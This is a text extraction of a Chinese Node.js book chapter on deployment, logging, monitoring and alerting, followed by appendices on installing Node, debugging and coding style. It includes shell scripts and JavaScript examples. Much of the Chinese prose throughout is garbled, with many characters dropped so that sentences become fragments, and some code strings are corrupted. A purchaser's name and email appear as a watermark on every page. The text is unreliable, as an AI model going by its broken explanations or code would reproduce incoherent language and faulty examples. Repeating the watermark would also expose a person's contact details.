pkg.version >'%% } } } } }); grunt.registerTask('dev', ['jshint', 'concat']); grunt.registerTask('default', ['jshint', 'clean', 'concat', 'uglify', 'replace']); }; make工Grunt有,是对于不熟悉bash编程的开发者,Grunt。 11.1.3 了好的目后,工程是有了一个不的开。也很有人一个有 很多人过JavaScript开发应用的情景,在JavaScript应用场景多的情下,个一 起一会很。多人相的,会不一问题。 是否好的可性是最能质的。为统一好的编,有于 的可读性,可性。目中的可性是目后本的要因, 一不可性,后目的bug复都会大的本。在目一开始 就定本的编,统一的。 编的统一一有几实,一是的定,一是时的强。 前者自,后者工。 在JSLintJSHint工的下,在已经能很好了。一定了编 的,可以生一。一些工者编能过对源 ,接开发者问题在。 目前,我过为目创.jshintrc,Sublime Text 2编在后可以实时自动 ,并编中的问题在。 关于编,可以C,中有的。 JavaScript是一门过于灵活的语言,个应有自己的,使编能灵 活,这对于工程是一个很好的。 11.1.4 立在的过程中。目前,开源社区大多过GitHub实托管。对 于一些,也过gitlab开源工了内部的托管。这托管了实 托管外,还强了bug的系统,并且用git的分,可以很好实。git的分 开发灵活,于分开发。开发者可以很从,后 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 29011 能的开发,开发后,,发起并请可。图11-1为发起并请 的程图。 图11-1 发起并请的程图 要在请并的过程中,要的有能是否、编是否 、测试是否有加。不,就要新,后 ,只有过之后,才应并。图11-2了的程图。 图11-2 的程图 要一定的,一些可以自动的工作可以由工自动, 编的。后的,还要人工认。管实会一定的, 是质量的的好还是会产品的。 在并的过程中,一还会测试的环境,一都没有问题之后才会上 线部。 11.2 在开发、、并之后,才会入部程。管经过一系的人工 测试的质量,也并不能接上线到生产环境中接,还要在测试环境中测试之 后才入生产环境线上测试。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.2 部 291 1 2 3 4 5 11 6 7 8 9 10 11.2.1 在实的目中,有个要,一是能的性,一是与数相关的。 一个是的,会测试环境开发者测试人的动是否。 之以要有的测试环境,是为了关因的。是对于一些能言,它的 为是与数相关的,测试环境中的数在者大小上不能测试,要 在一个发环境中测试。发环境与的测试环境的在于它的数为接线上实 的数。 我们测试环境为stage环境,发环境为pre-release环境,实的生产环境为 product环境,个部程图11-3。 图11-3 部程图 11.2.2 就的言,我们接在中node file.js以动应用。这对于开 发中的应用言,时中程并问题。是对时的服务程言,这 在个问题这会一个,次着的会开的程一并 。为了能程续,我们可能会用到nohup&以不程的 nohup node app.js & 动程很,是还有个要程程。工管的会 ,为,我们要一个脚本实应用的动、作。要这样的作, bash脚本是最的。bash脚本的内过与Web应用以定的实。这 的定,实就是要解决程ID不的问题。没有定,我们要到应用对 应的程,后用kill程。这要用ps,相关下 $ ps aux | grep node jacksontian 3618 0.0 0.0 2432768 592 s002 R+ 3:00PM 0:00.00 grep node jacksontian 3614 0.0 0.4 3054400 32612 s000 S+ 2:59PM 0:00.69 /usr/local/bin/node /Users/jacksontian/git/h5/app.js 后对应的Node程kill 3614。 这的定是,程在动时程ID写入到一个pid中,这个可以在 一个定的下,应用的run/app.pid。下是pid写入到中的 var fs = require('fs'); var path = require('path'); var pidfile = path.join(__dirname, 'run/app.pid'); fs.writeFileSync(pidfile, process.pid); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 29211 脚本在应用时过kill程发SIGTERM信,程收到信时 app.pid,时程,相关下 process.on('SIGTERM', function () { if (fs.existsSync(pidfile)) { fs.unlinkSync(pidfile); } process.exit(0); }); 下是一个的bash脚本,用于应用的动、作 #!/bin/sh DIR=`pwd` NODE=`which node` # get action ACTION=$1 # help usage() { echo "Usage: ./appctl.sh {start|stop|restart}" exit 1; } get_pid() { if [ -f ./run/app.pid ]; then echo `cat ./run/app.pid` fi } # start app start() { pid=`get_pid` if [ ! -z $pid ]; then echo 'server is already running' else $NODE $DIR/app.js 2>&1 & echo 'server is running' fi } # stop app stop() { pid=`get_pid` if [ -z $pid ]; then echo 'server not running' else echo "server is stopping ..." kill -15 $pid echo "server stopped !" fi } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.3 293 1 2 3 4 5 11 6 7 8 9 10 restart() { stop sleep 0.5 echo ===== start } case "$ACTION" in start) start ;; stop) stop ;; restart) restart ;; *) usage ;; esac 在部的过程中,只要这个bash脚本可,工管程 ./appctl.sh start ./appctl.sh stop ./appctl.sh restart 这个脚本的心就是run/app.pid作的。要程ID,只要读可。 11.3 Node产品的性能与多因相关,这我们到Web应用中,只一些的 性能的。对于Web应用言,最接有的过于动分、多程、分, 中的几个分下。 做一的事。 的工做的事情。 。 分。 之外,也能很大的性能。 11.3.1 在的Web应用中,Node管也能过中实服务,是Node 的能并不。图、脚本、样多都到的服务 上,Node只动请可。这个过程可以用Nginx者的CDN。图11-4为动 分的图。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 29411 图11-4 动分图 动请请分后,服务可以在动服务,的CDN会 与用可能,时能有高的机。请分后,对请使 用不的多个还能不要的Cookie对下线程数的。 动请分只是最的分,也实。事实上还有复杂的情, 一个网页中时在动数内,在Node中内发至客端时要到 Buffer的,是对于内言的,只要Buffer可。 接Buffer可以很大程上性能,这在6中已过。是能在动内中 动内内分,还能一性能,这程上的也没有性,要 多。 11.3.2 性能实不多只有个经,一是服务的,是不要的。前者 的性能在海量量前有,后者能在问量大时收多。不要的, 应用场景最多的就是。 管I/O在CPU时的时为,是在的下,能I/O 的时。不管是I/O还是I/O,不要的这好, 性能是的。 今,RedisMemcached几是Web应用的。你的产品要应对大的量, 用并应用好它,是系统性能的关。 11.3.3 在9中,我们已经了多程。过多程,不仅可以分用多CPU, 是可以立机Node程加,以Web应用续服务。由于Node是过自有 HTTP服务的,不像大多数服务端技术样有有的Web,以要开发者自己 多程的管。不过好在已经有cluster,在社区也有pm、forever、pm2这样的用于 程管,这不开。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.4 295 1 2 3 4 5 11 6 7 8 9 10 11.3.4 了动分外,一个为要的分是读写分,这要对数言。就数 言,读的高于写入的。些数在写入时为了数一性,会 作,这时会到读的。些系统为了性能,会数的读写分, 数从,这样读数作不到写入的,了性能的。 外,还有他多用以系统性能,以应对海量的请,这不一一开。 11.4 在实的目中,开发只是个入的一小部分。应用系统上线起时,问题有 可能会接。者,有一。多的编写,一些问题是可能 在个不定的时候。这情下,与bug复它,不立的机, 就是实这机的关。在的系统中,的最能还问题场。过 定问题是一本小的。这、量的实,也 。 11.4.1 问一用个客端对应用的问。在Web应用中,要HTTP请中的 关数。一的Web服务都实了问的能,只要的可用。在用 NginxApache反时,可以用这些已有的问的。在Node开发的 Web应用中,也可以自实问的。 中Connect在多中中了一个中,过它可以关数一 定到中。下是Connect的一 var app = connect(); // 录访问日志 connect.logger.format('home', ':remote-addr :response-time - [:date] ":method :url HTTP/:http-version" :status :res[content-length] ":referrer" ":user-agent" :res[content-length]'); app.use(connect.logger({ format: 'home', stream: fs.createWriteStream(__dirname + '/logs/access.log') })); 这的数有remote-addrresponse-time,这些数已经用分Web应 用的用分情、服务端的应时、应客端。这些数于数, 能反过网。 从上的中可以,数是以:token的的。Connect了token() 用对应实数,下是:status的最 exports.token('status', function(req, res){ 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 29611 return res.statusCode; }); Connect在最应前会实数token(),后写入到中。在实的应用 场景中,可以入一些用信,用以一些数,个用过问个页 ,他有可能是一个机人,在网页中的数。分,IP,可以实定 绝服务。 11.4.2 用些外产生的。过的,开发者可以信 定bug的,以复问题。 有的分,Node中的console对就实了这几分, 下。 console.log。 console.info信。 console.warn信。 console.error信。 console在实时,log与info都信process.stdout,warn 与error信到process.stderr,infoerror分是logwarn的。 下为它们的实 Console.prototype.log = function() { this._stdout.write(util.format.apply(this, arguments) + '\n'); }; Console.prototype.info = Console.prototype.log; Console.prototype.warn = function() { this._stderr.write(util.format.apply(this, arguments) + '\n'); }; Console.prototype.error = Console.prototype.warn; console对上有一个Console性,它是console对的数。这个数,我 们可以实自己的对,相关下 var info = fs.createWriteStream(logdir + '/info.log', {flags: 'a', mode: '0666'}); var error = fs.createWriteStream(logdir + '/error.log', {flags: 'a', mode: '0666'}); var logger = new console.Console(info, error); 分用它的API,内就能自写入到对应的中,相关下 logger.log('Hello world!'); logger.error('segment fault'); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.4 297 1 2 3 4 5 11 6 7 8 9 10 有了信的API后,开发者要关心的是要小心一个。在4中,我们 到用中数的外部的问题,也到了API编写的,个 开发者应API内部发生的作为一个实数。对于数中产生的, 可以不用过问,的uncaughtException事可。 在次的API用中,是用还是立过,这是一个 要的问题。就的API编写言,量不要,不要过try/catch, 后起不外部用者。这对于API的言,为要。事实上, 是服务于务的。我的是量由最上的用者,用中用中 的只要上的用可。 中用这样写 exports.find = function (id, callback) { // 准SQL db.query(sql, function (err, rows) { if (err) { return callback(err); } // 处理结 var data = rows.sort(); callback(null, data); }); }; 上API对下API的不要做,接写可,下 exports.find = function (id, callback) { // 准SQL db.query(sql, callback); }; 是对于最上的务,不能下过的,要,以 ,时应对用友好的,相关下 exports.index = function (req, res) { proxy.find(id, function (err, rows) { if (err) { logger.error(err); res.writeHead(500); res.end('Error'); return; } res.writeHead(200); res.end(rows); }); }; 只是过以上,它对的并不大,因为有些的 要的数还场,以最好在时有好的的的数。为 可以一个format()信,的下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 29811 var format = function (msg) { var ret = ''; if (!msg) { return ret; } var date = moment(); var time = date.format('YYYY-MM-DD HH:mm:ss.SSS'); if (msg instanceof Error) { var err = { name: msg.name, data: msg.data }; err.stack = msg.stack; ret = util.format(' s s: s%% %\nHost: s% \nData: j% \n s% \n\n', time, err.name, err.stack, os.hostname(), err.data, time ); console.log(ret); } else { ret = time + ' ' + util.format.apply(util, arguments) + '\n'; } return ret; }; 为,我们在时可以用时的数,后下, 下 var input = '{error: format}'; try { JSON.parse(input); } catch (ex) { ex.data = input; logger.error(format(ex)); } 这样在中就可以到发生时的入数,后定bug解决问题就 是到的事了。下为 2013-06-12 17:18:19.776 SyntaxError: SyntaxError: Unexpected token e at Object.parse (native) at Object. (/Users/jacksontian/git/diveintonode/examples/12/logger.js:53:8) at Module._compile (module.js:456:26) at Object.Module._extensions..js (module.js:474:10) at Module.load (module.js:356:32) at Function.Module._load (module.js:312:12) at Function.Module.runMain (module.js:497:10) at startup (node.js:119:16) at node.js:901:3 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.5 监 299 1 2 3 4 5 11 6 7 8 9 10 Host: Jackson.local Data: "{error: format}" 2013-06-12 17:18:19.776 对于的,Node了机以程接,是发生的程也不能 继续在线上服务了,因为可能有内的产生。优程在9 中已过,一中的多是用console.log()问题的,在实的产品中, 要的。过程上,不。 11.4.3 有的开发者对可能不了解,会一些写入到数中。数好 的在于它是数,可以接编写SQL语分,要加工之后才能 分。 是与数写入在性能上于个,数在写入过程中要经一系 ,、作。写是接数写到上。为,有大量的问, 可能会在写入作大量的,数的于生产,内 。相之下,写是量的,分这个分开是好的。 可以在线写,分可以一些工到数中,过线分的反 。 11.4.4 线上务可能问量大,产生的也可能是大量的,上只是 分开在个中,过多时也不接。为,产生的分是 一个不的。的写入一都是托在可写上的。对于Console对,它的内部性 _stdout_stderr就是我们入的个入对的。在的过程中,我们可以 对应的可写对,为可以一个定时用于发生时,对 的个入对可。这不开实。 11.4.5 相对言是为的事情,是一好这个过程,有问题产生时可以 解决。很多开发者在开发过程中不(没),到线上产生问题时会 脚。好的可以为系统的,问题时,我们都能做到心中有数。 11.5 部好程,好之后,应用就可以自了。实上,这时候的应用初 生的,学会了走,不管,就它到大上的人中。就像大的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 30011 要有一个人一,应用也应有一个系统。对于走到大上的,, 要时起。应用了,也要过时发,后复它。 应用的要有,一是务的,一是的。要过定 时样。之外,还要对的信上,一大的动,就要发 开发者。为了好开发者使用,到的信一还要过数可的反 ,以。 11.5.1 的要目的是为了一些要样下,一这些发生大,可以 系统问题反到人。的可以很,也可以只要的。 1. 务的要在上,做了的之后,应用起是 个问题。过的动,新的数量反。些与 的个系统相关,的个多能反系统的。 了的外,对于问的也能实的务QPS。QPS的 能务在时上的分。 外,从问中也能实PVUV的。QPS一样,过对PV/UV的,可以 很好应用的使用者们的习、问高。 2. 应时也是一个要的。一系统的个系统者性能,会 系统的应时。应时可以在Nginx一的反上,也可以过应用自产生 的问。的系统应时应是动小的、续的。 3. 应时都能好到系统的,是它们的前是系统是的, 以程是前者为要的务。程一是作系统中的应用程数, 对于用多程的Web应用,就要工作程的数量,于,就应发 。 4. 要是的用量。由于写的,用。一 不用,会发系统的问题。的使用量一个上,一用量过, 服务的管者就应了。 5. 对于Node言,一内,不是的。服务的内使用,可 以应用中是否在内的。内只不,定在内问题。 的内使用应是有有,在问量大的时候上,在问量的时候,用量也之。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.5 监 301 1 2 3 4 5 11 6 7 8 9 10 程中在内,一时没有解决,有一可以解决这。这 应用于多程的服务,个工作程定服务多次请,到请数之后程就不 服务新的接,程动新的工作程服务客,的程有接开后就。这 样使在内的,也能有内的。这于问题,只解决 了问题的,不推荐使用。 言之,内并时是系统的好。内, 也能到是的些动的问题。 6. CPU 服务的CPU用也是不可的,CPU的使用分为用、内、IOWait。 用CPU使用高,服务上的应用要大量的CPU开内CPU使用 高,服务大量时程者系统用IOWait使用反应的是CPU I/O作。 CPU的使用中,用小于70%、内小于35%且小于70%时,于。 CPU用情,可以分应用程序在实务中的。能很好。 7. CPU load CPU loadCPU,它用作系统前的程,可以解为CPU 在时内在使用使用CPU的务数。它有3个,1分的、5分 的、15分的。CPU load过高程数量过多,这在Node中可能在用 程反复动新的程。可以外产生。 8. I/O I/O的要是I/O。反应的是上的读写情,对于Node编写的应用,要是 网服务,是不可能I/O过高的情,大多数的I/O自于数。不管Node 程是否与数他I/O的应用相的服务,我们都应以一。 9. 网量的优没有上目高,还是要对量并上 。应用到用的,量时也能过数到网的是否有。一 量过,开发者就应量的因。对于,应是否加 为多用服务。 网量的个要是入量量。 10. 了这些性要测的外,应用还应一机反自的信,外部 会续性用应用的反接它的。 最的反就是应一个时,时是否可 app.use('/status', function (req, res) { res.writeHead(200); res.end(new Date()); }); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 30211 一些的应是应用的的,数接是否、是 否。 11. DNS DNS是网应用的,在实的对外服务产品中,多数都对有。DNS产 品大的事并不。由于DNS服务是定的,人,一 ,就可能是前的。对于产品的定性,DNS也要加入。目前国内有 一些的DNS服务,DNSPod,可以过这些服务,自己的在线应用。 11.5.2 系统的是系统,有没有能,也是时反开发者 的。今的已经能多样,最的、IM在线工作,信 在线。 系统由Node编写,可以用nodemailer实的发。下 为一个发 var nodemailer = require("nodemailer"); // 建SMTP传输接 var smtpTransport = nodemailer.createTransport("SMTP", { service: "Gmail", auth: { user: "gmail.user@gmail.com", pass: "userpass" } }); // 件 var mailOptions = { from: "Fred Foo ✔ ", // 发件件 to: "bar@bar.com, baz@bar.com", // 收件件列表 subject: "Hello ✔", // 题 text: "Hello world ✔", // 纯文本内容 html: "Hello world ✔" // HTML内容 } // 发件 smtpTransport.sendMail(mailOptions, function (err, response) { if (err) { console.log(err); } else { console.log("Message sent: " + response.message); } }); 一些信服务信接入服务,可以在系统中接入服 务时,一线上到的时,就信发应用相关的人。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.6 定 303 1 2 3 4 5 11 6 7 8 9 10 11.5.3 我们发为了应用的定性,实不不入了一个大的系统。系统 自的定性对应用要,这的,不能心,, 是有系统不没有。 系统自己的定性是外一个题,本不继续开。 11.6 关于应用的定性,实在部分中都有,在49这中有,这 从程多程的了定性。一服务不了务的(有 的),这就要Node多程的部到多机中。这样机, 也能有余机为用服务。之外,为了能好服务用,绝大多数都会 在机以因为的网问题。为了好的定性,的 就是多程、多机、多机,这样的分在在的网并不。 多机部应用的好是能用多的源,为多的请服务。 时能在有时,继续服务用请,系统的高可用性。是一分 ,就要、享数一性问题。 在机中请分发到多个程上一样,部多机也要请 分个机,这要在机的上,可能是实,也 可能是实,反。图11-5为的图。 图11-5 图 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 30411 对于享数一性,它们与多程的问题是一的,可9,不 多。 多机部是多机部高次的部,目的是为了解决用 问的问题。在,机与机之可以为。由于机与机 之的网复杂,要一统,不开。 在多机多机的部下,分过的, 一机者一个机了服务,都能有余的服务接新的务。在这个机 下,我们至要4服务这个定的服务,图11-6。 图11-6 服务图 要的是,今技术已经熟,在多服务部中,要量多个服务在相 的实机上。因为一实机,多服务一起服务。 应用自的部问题到解决后,还要的是应用的服务的,的数 、服务。 11.7 在技术的产品的,一门新技术应用在生产环境中就与已有的系统 者服务能否。为了应用一新技术已有的有技术推,并不是一个 的。一门新的语言者新的技术在推广应用的过程中都要这样的问题。 对于Node言,我在本书中了它的多。可以,它并一个不入的新事,它 于C/C++之上,以JavaScript为用语言,以好的事驱动网的, 的都能从作系统到它的起源。 在应用Node的过程中,一部分是在新的目中应用,一部分是已有系统过Node 性能。几没有已有系统推用Node的。 关于在新目中应用Node,。对于已有系统,NodeC/C++网 ,已经能与这个上大多数的系统。在于能服务的产品,都是有 的。几是解决系统最的。只要有的,语言就能 过网与之。MySQL数,由于有的网,以可以过样的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.9 305 1 2 3 4 5 11 6 7 8 9 10 编程语言用。,过Node编写对应的客端驱动也并不是事。图11-7为编程语言与 服务之过网用的图。 图11-7 编程语言与服务过网用的图 对于一系统,可能并TCP的网,是RESTful的服务接。者的不在于 一个是HTTP,于应用一个是TCP,于。次不,性能会 。TCP会立的接,甚至接,HTTP可能接, 在性能上在。TCP要客端驱动,HTTP本上有的客端。 之,在应用Node的过程中,不在为了用它推已有的情。Node能过 与已有的系统很好。Node用于系统的开发者要的是已有的系统是否 好的服务,是否多端,是否多语言用。 11.8 一言,决定用一技术产品开发时,只有最是与这门技术相关的。着时 的,要解决的已经不是的问题了,一门技术只能在一定上发它的优势。用 Node也是一样,着开发的、的多,我们到在产品的要解决的问题是 大部分技术都要解决的问题。我们读者能Node入到新的上,使它应 产品,在产品中发大的优势。 11.9 本的源为https://github.com/andris9/Nodemailer。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 306ANode Node Node的开发环境分,只要一个时的本编就可以开始开发了, 分量。 在经的发友时(v0.2到v0.4), Node要一定的才能在中,并且 在Windows下。从v0.6开始,Node用了GYP目生工,时用libuv作为 ,实了*nix与Windows,这在2中已过,不深。至时候起, Node了在Windows下过Cygwin的。今Node在个本发时,会编好 个下的本,接可,编。Node的页http://nodejs.org会你 的作系统不的接用下,用只Install可。 在Node的过程中,实上还会上NPM工。对于NPM的作用,2也有。在 Node v0.6.3之前,NPM工的是与Node分的,要外。在v0.6.3时,Node中就开 始了NPM的。在不之后,NPM的作者Isaac Z. Schlueter从Ryan Dahl中接过Node 门人的,Node的问题复本发。 下个下的,只是上有不。 A.1 WindowsNode 对于Windows用,32系统会到http://nodejs.org/dist//node--x86.msi 这样一个,中version 是的本,64 系统会到http://nodejs.org/dist/ /x64/node--x64.msi。下.msi后,接它,时 的一Next可个程。图A-1为Node在Windows系统下的 。 后,开,node -v是否。不外,会到前 本的本。样也可以npm -vNPM工是否Node。 ,这的是一个v{major}.{minor}.{revision}的,v0. 10.12。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 ANode307 1 2 3 4 5 11 6 7 8 9 10 图A-1 Node在Windows系统下的 A.2 MacNode Mac系统下的用与Windows用不的是会到.pkg的包,接也与本相关 http://nodejs.org/dist//node-.pkg。 下后,开.pkg包,也会Windows用样到一个,图A-2。 图A-2 Mac系统下Node的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 308ANode 继续并接可后,着可。 后,在node -vnpm -v可。下是我时的环境 $ node -v v0.8.14 $ npm -v 1.1.65 A.3 LinuxNode 对于Linux系统下的用,推荐过源。开Node页,会到源 接http://nodejs.org/dist//node-.tar.gz。你可以过wgetcurl工下。 要的是,编Node时要的几个环境下。 Python 2.6Python 2.7Node不Python 3.0。要因在于GYP目工是 用Python开发的,这Python 2.7,因为node-gyp要Python 2.7才能使用。 Node自有部分过C/C++编写,以要GCCG++编。 make使用工的3.81本新的本。 对于不的Linux发,可以过自的工(apt-getyum)。下是用源 的过程 // 解压源码包 $ tar zxvf node-.tar.gz // 进入目录 $ cd node- // 环境配置 $ ./configure // 配置结 { 'target_defaults': { 'cflags': [], 'default_configuration': 'Release', 'defines': [], 'include_dirs': [], 'libraries': []}, 'variables': { 'clang': 1, 'host_arch': 'x64', 'node_install_npm': 'true', 'node_prefix': '', 'node_shared_cares': 'false', 'node_shared_http_parser': 'false', 'node_shared_libuv': 'false', 'node_shared_openssl': 'false', 'node_shared_v8': 'false', 'node_shared_zlib': 'false', 'node_tag': '', 'node_unsafe_optimizations': 0, 'node_use_dtrace': 'true', 'node_use_etw': 'false', 'node_use_openssl': 'true', 'node_use_perfctr': 'false', 'python': '/usr/bin/python', 'target_arch': 'x64', 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 ANode309 1 2 3 4 5 11 6 7 8 9 10 'v8_enable_gdbjit': 0, 'v8_no_strict_aliasing': 1, 'v8_use_snapshot': 'true'}} creating ./config.gypi creating ./config.mk Node用GYP工目。./configure之后,了到以上外,还会在目 下生config.gypiconfig.mk。make后,这个Node的编。 编的过程是一个相对的时,最会在out/Release目下到node。sudo make install会node的相关到/usr/local下的libbin目下 $ make $ [sudo] make install node -vnpm –v,可以是否 $ node -v v0.8.14 $ npm -v 1.1.65 事实上,这些作在Mac系统下也一样有。你是一个喜欢的人,可以试从Node 的git中到最新的源编,以最新的能 $ git clone https://github.com/joyent/node.git $ cd node git tag,你会到有以的(tag)。到最新的,git checkout 到上编可。 A.4 在Node后,可以试着用自己喜欢的本编的经为example.js ,下 var http = require('http'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/'); 后node example.js,是否可以到下 Server running at http://127.0.0.1:1337/ 用试着开这个,是否到Hello World的。可以到这个 ,喜你了。 A.5 本的源为https://github.com/joyent/node/wiki/Installation Installation。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 310BNode Node JavaScript作为Node的要编程语言。在大多数的脚本语言中,试是一的事情, JavaScript也不外。在Firefox的Firebug之前,的JavaScript试是在 中编写alert(),这的试之前在了很。对于Node言,试的不会像 Web开发。这会Node开发中要的几试。 B.1 Debugger Node的试接于V8。V8了的试API,使可以从程内部试。 时还了于API的TCP试,使过试,可以从程外试。Node 内了试的客端,以在动时上debug数就可以实对JavaScript的试。 在试前,要过debugger;语在中,这样在时会中。 以下为 // myscript.js x = 5; setTimeout(function () { debugger; console.log("world"); }, 1000); console.log("hello"); 上时,在中加入debug。加debug在中后,Node会开试能,内 的客端会与V8立接。下的为 $ node debug examples/B/myscript.js < debugger listening on port 5858 connecting... ok break in examples/B/myscript.js:2 1 // myscript.js 2 x = 5; 3 setTimeout(function () { 4 debugger; debug> 在到debugger;语后,中了,并入,入后 后续作。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 BNode311 1 2 3 4 5 11 6 7 8 9 10 这要一下,Node的试客端并没有V8的有,只有的 的。 中要有下几个。 contc。继续。 nextn。到下一个。 steps。到数内部。 outo。从数内部。 pause。。 过入后,可以过试。 过,还可以继续。V8了下几的。 setBreakpoint()sb()。在前 setBreakpoint(line)sb(line)。在定的。 setBreakpoint('fn()')sb(...)。在数的一个。 setBreakpoint('script.js', 1)sb(...)。在脚本的1。 clearBreakpointcb(...)。。 了外,在中后试时,还可以一些信。这些信下。 backtracebt。前情下的信。 list(5)。前上下前后5的源。 watch(expr)。加到,。 unwatch(expr)。从中对的。 watchers。有的。 repl。开试的,用于试脚本的上下。 V8的试能了在中过debug可以用外,对于已经的程,可以过 发SIGUSR1信用试。过下动了一个服务程 $ node server.js 过ps程的ID,后对这个中的程发SIGUSR1信,下 $ kill -s USR1 10093 在有的程下,可以到接收到信并动试客端的信,下 $ node server.js Hit SIGUSR1 - starting debugger agent. debugger listening on port 5858 试客端动后,可以过问http://localhost:5858/试。这入我们下 一个试工的Node Inspector工就是在这个上实的图试。 B.2 Node Inspector Node Inspector工是于DebuggerBlink开发者工创的试。在的试能 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 312BNode ,源自Node为V8内的试,能自Blink的开发者工。有Blink开发 者工的有Chrome、Opera。这着我们可以像试中的JavaScript一样试 Node中的JavaScript。 B.2.1 Node Inspector 在使用Node Inspector之前,要过NPM工它为工,下 $ npm install -g node-inspector B.2.2 使用Node Inspector用Node程的试。用试的在前有过, 在中使用debug者过发SIGUSR1Node程可用试。 动Node程试后,就可以动Node Inspector工。Node Inspector工相于在Blink开 发者工与Node程的试之立了系。动下 $ node-inspector Node Inspector v0.5.0 info - socket.io started Visit http://127.0.0.1:8080/debug?port=5858 to start debugging. 中了一些信,这时可以开Blink开发者工的问http://127.0.0.1: 8080/debug?port=5858开始的试。开后会图B-1这样的。 图B-1 开后的试 在Sources中可以的JavaScript脚本,后续的试过程就在中 试JavaScript一样。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 BNode313 1 2 3 4 5 11 6 7 8 9 10 B.3 由于Node要在服务中,试会起中,中服务,不于在有大 问量的情下。试只于开发,并且由于过程,不在开发中过于。 好的是编写好的测试做的,这对于程序开发量,信 也高。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 314C Node Node C.1 JavaScript作为一门编程语言,在语上可是最为灵活的语言了。有人喜欢它的灵活,也有 人它的。它的灵活也好,也,都不开生的。Brendan Eich在1995 年了10天了这门语言,后在1996年也发了JavaScript的IE 3.0。网 景为了自己,在1996年11月JavaScriptECMA组织,次年6月一 发,为ECMAScript,编262。 年的JavaScript编写分。它的灵活性都高,使开发者可以 编,最它在一定程上。在编上,一个要的人是Douglas Crockford, 他是JavaScript开发社区最的,是JSON、JSLint、JSMinADSafe之,中JSLint在 是最要的JavaScript质量测工。他的JavaScript: The Good Parts一书对于JavaScript 社区深。 ,一门语言的发要经多年的才能为大接。由于因,JavaScript 在的时内就定,这样它的优都在大之下。Douglas Crockford的 JSLintJavaScriptThe Good Parts对JavaScript的贡献在于,他我们能语言中的 ,写好的。 与他语言(PythonRuby)的程序相,JavaScript程序要多的自才能写 读、的。为这个问题,部分开发者TypeScriptCoffeeScript编写应用。 我认为了解一门语言为是下这情是有要的。编的目的是在一定程上程 序,使之能在中并且。 管JavaScript已经相熟,用JSLint能解决大部分问题,是着Node的, 了一些新的,这些要起我们。本是在了JavaScript的编的上, Node的环境社区的习。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 C Node 315 1 2 3 4 5 11 6 7 8 9 10 C.2 C.2.1 1. 用2个,不是tab。 在编中与是的,tab可能因编 的不。2个会起、。 2. 用var量,不加var时会量,这样可能会外上下,是 外。 在ECMAScript 5的strict下,的量会接ReferenceError。 要的是,都应上var,不是只有一个var,下 var assert = require('assert'); var fork = require('child_process').fork; var net = require('net'); var EventEmitter = require('events').EventEmitter; 下 var assert = require('assert') , fork = require('child_process').fork , net = require('net') , EventEmitter = require('events').EventEmitter; 3. 在作前后要加,+、-、*、%、=作前后都应在一个, 下 var foo = 'bar' + baz; 的下 var foo='bar'+baz; 外,在小括前后应在, if (true) { // some code } 的下 if(true){ // some code } 4. 由于在的场景下使用多,在Node中使用时量使用,这样 , 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 316C Node var html = 'CNode'; 在JSON中,的是要用,内中时,要。 5. 一情下,大括起一, if (true) { // some code } 的下 if (true) { // some code } 6. 用于量的分是的分。不在,前要一个。外, 不在, var foo = 'hello', bar = 'world'; // 是 var hello = { foo: 'hello', bar: 'world' }; // 是 var world = ['hello', 'world'];下 var foo = 'hello' , bar = 'world'; // 是 var hello = {foo: 'hello' , bar: 'world' }; // 是 var world = [ 'hello' , 'world' ]; 7. 加分。管JavaScript编会自动加分,还是会一些 解,下 function add() { var a = 1, b = 2 return a + b } 会到undefined的。因为自动加入分后会下的样 function add() { var a = 1, b = 2; return; a + b; } 后续的a + b不会。 下的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 C Node 317 1 2 3 4 5 11 6 7 8 9 10 x = y (function () { }()) 时会到 x = y(function () {}()) 由于自动加分可能的,以加上分有于会。 C.2.2 在编过程中,是。好的可以心目,的阅读享, 有好的可性。的要有量、量、、、、包。 1. 量都用小,了一个的不大写外,个的都大 写,与之没有, var adminUser = {}; 的下 var admin_user = {}; 2. 与量一样,用小。与量不的是,量用动 , var getUser = function () {}; var isAdmin = function () {}; User.prototype.getInfo = function () {}; 下 var get_user = function () {}; var is_admin = function () {}; User.prototype.get_info = function () {}; 3. 用大,有的都大写, function User { } 4. 作为量时,的有都大写,并用下线分, var PINK_COLOR = "pink"; 5. 时,请量用下线分,child_process.jsstring_decode.js。你不 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 318C Node 